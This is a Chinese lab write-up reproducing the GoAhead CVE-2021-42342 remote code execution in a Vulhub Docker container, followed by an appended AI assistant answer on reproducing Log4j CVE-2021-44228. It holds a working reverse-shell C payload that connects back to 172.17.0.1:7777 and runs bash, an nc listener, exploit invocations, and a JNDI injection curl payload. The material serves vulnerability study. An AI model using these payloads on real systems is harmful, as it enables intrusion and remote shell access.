CVE-2021-42342漏洞复现及docker环境搭建

本文详细记录了在Docker环境下复现Goahead web服务器的CVE-2021-42342漏洞的过程,包括环境搭建、漏洞利用代码编写、反弹shell等步骤,同时介绍了如何将容器导出为tar包并使用start.sh启动。此外,还分享了如何通过poc.py脚本发送恶意数据包以复现漏洞。

目录

一、前言

二、环境搭建

三、参考链接


一、前言

解决问题用到的命令:docker logs 容器id#查看日志,可以看报错的原因。

最终运行容器的命令:docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh

这是一次线上实习的作业,老师要求将漏洞环境搭建在容器内,并将容器导出为tar包,这比简单的复现漏洞要复杂一些些,给我这个小白带来了许多麻烦,网上也没有与我情况相同的博客,因此我将这次复现过程记录下来。


二、环境搭建

1、环境:Ubuntu18.04,Python3.6.9(Python必须在3.6及以上,否则不能用poc.py)

2、下载vulhub-master并解压,下载方式百度即可。

3、进入漏洞所在文件夹

4、将我做好的tar包导入为镜像,tar包里有我做的start.sh,一会要用它启动容器。

docker import e2.tar e2:latest 

注:这一步可以直接使用docker-compose导入镜像,

在vulhub-master/goahead/CVE-2021-42342文件夹下执行docker-compose up -d即可

 5、用如下命令启动容器:

docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh

【注】:如果使用docker-compse,不需考虑-p参数和-v参数,yml文件都写好了,导入镜像直接用就OK

其中,-p为指定端口映射,-v后面的参数为容器挂载目录(vulhub-master.zip解压后产生的目录),即挂载的主机目录:容器目录:rw(rw意为读写),e2:latest为镜像名:标签,最后是以start.sh脚本启动。-v后面的参数很重要,是后面验证漏洞复现成功的关键。

 6、访问IP:8083,出现如下页面代表访问成功。

7、编写打印测试文件的poc代码如下(poc.c):

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

    write(1, "Hello: World\r\n\r\n", 16);

    write(1, "Hacked\n", 7);

}

8、这样,before_main函数将在程序执行前被调用。编译以上代码:

gcc -s-shared -fPIC ./poc.c -o payload.so

9、然后,我们使用poc.py脚本来发送恶意数据包,复现漏洞:

python3 poc.py http://172.17.0.1:8083/cgi-bin/index payload.so(index和payload.so之间有空格,否则会Traceback Error,而且一定要用python3执行,且python版本应大于3.6,否则脚本文件代码运行会报错)

可见,我们编写的劫持代码已经被成功执行:

10、反弹shell的poc代码如下(shell.c):

#include<stdio.h>

#include<stdlib.h>

#include<sys/socket.h>

#include<netinet/in.h>

char *server_ip="172.17.0.1";/*The server which accepts shell*/

uint32_t server_port=7777;/*The port which you listen to*/

static void reverse_shell(void) __attribute__((constructor));

static void reverse_shell(void)

{

  int sock = socket(AF_INET, SOCK_STREAM, 0);

  struct sockaddr_in attacker_addr = {0};

  attacker_addr.sin_family = AF_INET;

  attacker_addr.sin_port = htons(server_port);

  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

    exit(0);

  dup2(sock, 0);

  dup2(sock, 1);

  dup2(sock, 2);

  execve("/bin/bash", 0, 0);

}

11、使用如下命令编译以上代码:

gcc -s-shared -fPIC ./shell.c -o shell.so

12、在对应的ip端口上开启监听(开启另一个终端):

nc -lvnp 7777

13、执行payload,此时脚本可能会报错,但没有影响。

python3 poc.py http://target-ip:8083/cgi-bin/index shell.so

(注意index和shell之间有空格!)

14、当终端显示Connection from x.x.x.x xxxx received,我们输入whoami命令显示自身用户名称,可以看到我们是root用户,成功触发RCE。

三、用start.sh启动的tar包如何搭建?

其实非常简单,但是网上没有博客写过,本小白花了挺长时间才搞明白。

直接docker run -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw -d -p 8082:80 vulhub/goahead:5.1.4,就得到了一个没有start.sh的容器,在根目录下vim start.sh,写入如下内容:

#!/bin/bash

goahead -v --home /etc/goahead /var/html/goahead

然后把容器导出为tar包就大功告成。

附上本人tar包链接:https://pan.baidu.com/s/17s72XYOSicZlu7ra1Tot1g 提取码: gl4u 

四、参考链接

(1)https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里,vulhub-master.zip已经包含了它)

(2)http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_5298.html

(3)https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

(4)https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562

(5)https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/

<think>嗯,用户想了解如何在CentOS上使用Docker复现Vulhub中的CVE-2021-44228漏洞,也就是Log4j2的那个远程代码执行漏洞。首先,我需要确认用户的需求。他们可能是一个安全研究人员或者正在学习漏洞复现的学生,想要实际操作这个漏洞来理解其原理和影响。 首先,我需要考虑用户的环境是CentOS系统,所以需要确保所有步骤都适用于CentOS。然后,使用Docker和Vulhub来搭建漏洞环境,这需要安装DockerDocker Compose。可能用户已经安装了这些工具,但如果没有,应该给出安装命令。比如,CentOS下安装Docker的步骤,以及如何启动Docker服务。同时,需要提醒用户如果遇到权限问题,可能需要将用户加入docker组。 接下来,下载Vulhub的漏洞环境。Vulhub通常通过GitHub仓库获取,所以需要克隆仓库到本地,并进入对应的CVE-2021-44228目录。这里可能需要提醒用户如果没有安装git的话需要先安装git,不过Vulhub也可能直接下载压缩包,但通常克隆仓库更方便。 然后,构建和启动Docker容器。使用docker-compose up -d命令,这时候可能会遇到镜像下载慢的问题,可能需要更换国内镜像源,比如阿里云或者中科大的源。用户如果之前没有使用过Docker Compose,可能需要确认是否安装了docker-compose插件,因为较新版本的Docker已经整合了compose作为插件,所以命令可能是docker compose而不是docker-compose。 漏洞复现部分,需要说明如何触发漏洞。通常是通过发送带有恶意JNDI的请求,比如使用curl命令或者构造特定的HTTP请求。这里可能需要使用到像ldap://或rmi://的地址,指向一个恶意服务器,比如使用JNDI-Injection-Exploit工具来启动一个恶意的LDAP服务。用户需要下载这个工具,并运行相应的命令,指定攻击者的IP和端口,以及要执行的命令,比如反弹shell或者计算器弹出(在Windows测试时)。 测试部分,可能需要向目标服务发送带有恶意payload的请求,比如在用户代理或者任何可能记录日志的字段中插入${jndi:ldap://攻击者IP:端口/恶意类}。这时候需要确保目标服务确实使用有漏洞的Log4j2版本,并且网络连通性没有问题,攻击者的LDAP服务端口是否开放,防火墙是否允许等。 注意事项方面,要提醒用户在隔离环境中操作,避免对真实系统造成影响。同时,复现完成后,关闭和清理Docker容器,释放资源。可能还需要解释每个步骤的作用,比如docker-compose down是停止并删除容器,避免占用端口和资源。 另外,用户可能需要验证漏洞是否成功触发,比如在攻击者机器上监听某个端口,看是否有连接进来,或者目标容器是否执行了恶意命令。比如,使用nc -lvnp 9999来监听反弹shell的连接。 总结整个流程的话,步骤大致是:安装依赖工具→下载漏洞环境→启动容器→配置攻击机→发送恶意请求→验证结果→清理环境。需要确保每个步骤的命令正确无误,特别是替换用户的实际IP和端口。同时,可能需要解释一些概念,比如JNDI、LDAP服务的作用,以及为什么Log4j2的漏洞会导致RCE,帮助用户更深入理解。</think>以下是使用Docker在CentOS上复现Log4j2漏洞(CVE-2021-44228)的完整步骤: --- ### 一、环境准备 1. **安装Docker** ```bash sudo yum install -y yum-utils sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo yum install docker-ce docker-ce-cli containerd.io sudo systemctl start docker && sudo systemctl enable docker ``` 2. **安装Docker Compose** ```bash sudo curl -L "https://github.com/docker/compose/releases/download/v2.23.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose ``` --- ### 二、漏洞环境搭建 1. **下载Vulhub漏洞库** ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 ``` 2. **启动漏洞环境** ```bash docker-compose up -d # 查看运行状态 docker-compose ps ``` --- ### 三、漏洞验证 1. **安装漏洞利用工具** ```bash # 下载JNDI注入工具 git clone https://github.com/feihong-cs/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit mvn clean package -DskipTests ``` 2. **启动LDAP恶意服务** ```bash # 替换192.168.1.100为你的攻击机IP java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/pwned" -A 192.168.1.100 ``` 3. **发送恶意请求** ```bash # 向目标发送payload(替换your-ip为攻击机IP) curl -H 'User-Agent: ${jndi:ldap://your-ip:1389/exp}' http://localhost:8080 ``` --- ### 四、结果验证 ```bash # 进入容器查看命令执行结果 docker exec -it [容器ID] ls /tmp # 如果看到pwned文件,说明漏洞利用成功 ``` --- ### 五、环境清理 ```bash # 在漏洞目录执行 docker-compose down # 删除镜像 docker rmi vulhub/log4j:2.15.0 ``` --- ### 关键原理说明 1. 漏洞触发机制:通过Log4j2的JNDI功能实现远程代码加载 2. 漏洞利用条件:使用Log4j2 ≤ 2.14.1且开启JNDI功能 3. 修复方案:升级至Log4j2 ≥ 2.16.0 --- ### 注意事项 1. 所有操作应在隔离的测试环境中进行 2. 实际攻击IP需要替换为真实地址 3. 建议结合Wireshark抓包分析流量特征 4. 复现完成后请及时销毁环境 如需更详细的漏洞分析或遇到部署问题,可以补充说明具体情况。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值